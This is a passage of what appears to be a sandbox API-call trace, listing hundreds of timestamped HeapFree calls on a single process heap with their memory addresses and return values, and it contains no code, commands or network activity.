hHeap=0x710000) returned 1 [0159.845] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0159.845] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.845] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0159.845] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.847] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.847] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.849] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0159.849] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0159.850] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.850] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0159.852] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0159.853] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.854] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0159.855] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0159.856] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.857] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0159.857] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.858] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0159.858] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0159.860] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45336e0 | out: hHeap=0x710000) returned 1 [0159.861] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45336e0 | out: hHeap=0x710000) returned 1 [0159.861] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45336e0 | out: hHeap=0x710000) returned 1 [0159.861] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45336e0 | out: hHeap=0x710000) returned 1 [0159.861] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0160.376] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0160.628] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0160.628] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0160.629] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0160.629] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0160.629] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0160.629] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0160.631] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0160.633] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0160.635] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0160.637] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0160.637] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0160.637] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0160.639] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0160.641] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0160.641] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0160.643] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45336e0 | out: hHeap=0x710000) returned 1 [0160.643] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0160.645] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45336e0 | out: hHeap=0x710000) returned 1 [0160.652] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45336e0 | out: hHeap=0x710000) returned 1 [0160.663] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0161.642] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0161.923] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0161.923] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0161.923] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0161.933] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0161.936] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0161.940] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0161.940] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0161.945] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0161.948] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0162.090] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0163.301] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0163.302] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0163.312] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0163.313] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0163.586] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0163.589] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0163.589] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0163.752] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0163.755] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0163.787] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0163.803] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0163.810] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0163.861] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0163.861] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0163.861] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0163.861] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0163.864] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0164.019] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0164.022] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0164.024] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0164.029] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0164.035] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0164.038] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0164.041] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0164.045] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0164.127] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0164.129] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0164.131] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0164.133] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0164.135] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0164.262] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0164.270] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0164.273] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0164.276] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0164.280] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0164.284] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0164.288] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0164.291] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0164.295] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0164.300] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0164.303] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0164.342] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46afff0 | out: hHeap=0x710000) returned 1 [0164.344] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46afff0 | out: hHeap=0x710000) returned 1 [0164.467] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46afff0 | out: hHeap=0x710000) returned 1 [0164.470] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46afff0 | out: hHeap=0x710000) returned 1 [0164.474] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46afff0 | out: hHeap=0x710000) returned 1 [0164.477] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46afff0 | out: hHeap=0x710000) returned 1 [0164.505] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46afff0 | out: hHeap=0x710000) returned 1 [0164.508] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46afff0 | out: hHeap=0x710000) returned 1 [0164.511] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46afff0 | out: hHeap=0x710000) returned 1 [0164.514] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46afff0 | out: hHeap=0x710000) returned 1 [0164.516] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46afff0 | out: hHeap=0x710000) returned 1 [0164.519] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46afff0 | out: hHeap=0x710000) returned 1 [0164.522] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46afff0 | out: hHeap=0x710000) returned 1 [0164.525] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46afff0 | out: hHeap=0x710000) returned 1 [0164.822] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46afff0 | out: hHeap=0x710000) returned 1 [0166.810] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46afff0 | out: hHeap=0x710000) returned 1 [0166.812] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x469ffe8 | out: hHeap=0x710000) returned 1 [0166.815] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x469ffe8 | out: hHeap=0x710000) returned 1 [0166.817] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x469ffe8 | out: hHeap=0x710000) returned 1 [0166.819] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x469ffe8 | out: hHeap=0x710000) returned 1 [0166.819] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0166.819] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0166.825] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0166.828] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0166.830] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0166.951] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0166.956] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0166.959] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0166.963] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0166.967] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0166.971] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0166.975] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0166.987] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0167.004] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0167.007] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0167.012] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0167.016] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0167.020] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0167.023] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0167.028] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0167.031] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0167.035] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0167.038] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0167.250] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0167.255] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0167.259] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0167.263] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0167.269] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0167.272] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0167.276] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0167.306] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0167.310] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0167.435] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0167.438] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0167.440] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0167.442] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0167.444] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0167.446] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0167.448] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0167.451] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0167.453] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0167.455] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0167.546] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0167.549] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0167.553] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0167.568] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0167.574] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0167.574] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0167.588] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0167.594] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0167.886] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0167.889] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0167.892] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0167.895] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0168.128] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0168.136] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0168.138] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0168.143] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0168.148] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0168.154] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0168.158] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0168.163] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0168.168] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0168.203] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0168.207] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0168.211] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0168.217] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0168.221] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0168.226] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0168.231] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0168.237] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0168.379] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0168.638] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0168.644] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0168.656] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0168.662] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0168.667] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0168.820] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0169.406] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0169.627] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0169.631] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0169.632] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0169.633] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0169.634] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0169.635] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0169.636] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0169.637] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0169.638] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0169.639] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0169.640] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0169.641] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0169.642] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0169.643] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0169.644] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0169.652] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0169.653] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0169.654] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0169.655] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0169.656] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0169.656] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0169.657] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0169.658] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0169.659] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0169.660] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0169.660] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0169.661] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0169.662] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0169.662] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0169.663] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0169.664] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0169.665] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0169.666] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0169.667] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0170.061] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0170.061] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0170.062] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0170.062] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0170.062] HeapFree (in: hHeap=0x710000, dwFlags=0x0, 